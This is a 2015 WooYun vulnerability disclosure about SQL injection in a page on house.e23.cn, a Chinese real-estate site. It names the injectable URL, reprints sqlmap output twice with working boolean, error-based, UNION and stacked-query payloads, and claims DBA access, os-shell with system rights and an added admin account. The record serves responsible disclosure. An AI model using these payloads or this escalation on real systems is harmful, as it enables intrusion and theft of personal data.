当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0166026

漏洞标题:舜网房产某站一个注入引发的血案

相关厂商:e23.cn

漏洞作者: 路人甲

提交时间:2015-12-30 14:25

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-30: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

舜网房产某站注入漏洞,dba权限
泄露1200多培训学校老师信息
可--os-shell
system权限,可直接添加用户。

详细说明:

注入点:house.e23.cn/lp/pic_more.asp?contentid=2784&type=huxing*

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 38 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 1970=1970 AND 'VTdD'='VTdD
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 6604=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6604=6604) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113))) AND 'TKQT'='TKQT
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+CHAR(102)+CHAR(65)+CHAR(112)+CHAR(97)+CHAR(99)+CHAR(80)+CHAR(87)+CHAR(107)+CHAR(88)+CHAR(67)+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing'; WAITFOR DELAY '0:0:10'--
---
[12:26:39] [INFO] testing Microsoft SQL Server
[12:26:41] [INFO] confirming Microsoft SQL Server
[12:26:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000


1.png

2.png


3.png

4.png


5.png

6.jpg

漏洞证明:

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 38 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 1970=1970 AND 'VTdD'='VTdD
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 6604=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6604=6604) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113))) AND 'TKQT'='TKQT
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+CHAR(102)+CHAR(65)+CHAR(112)+CHAR(97)+CHAR(99)+CHAR(80)+CHAR(87)+CHAR(107)+CHAR(88)+CHAR(67)+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing'; WAITFOR DELAY '0:0:10'--
---
[12:26:39] [INFO] testing Microsoft SQL Server
[12:26:41] [INFO] confirming Microsoft SQL Server
[12:26:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000


1.png

2.png


3.png

4.png


5.png

6.jpg

修复方案:

点到为止,未深入了。麻烦把管理账户删除
谢谢

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-04 14:40

厂商回复:

谢谢!

最新状态:

暂无


漏洞评价:

评价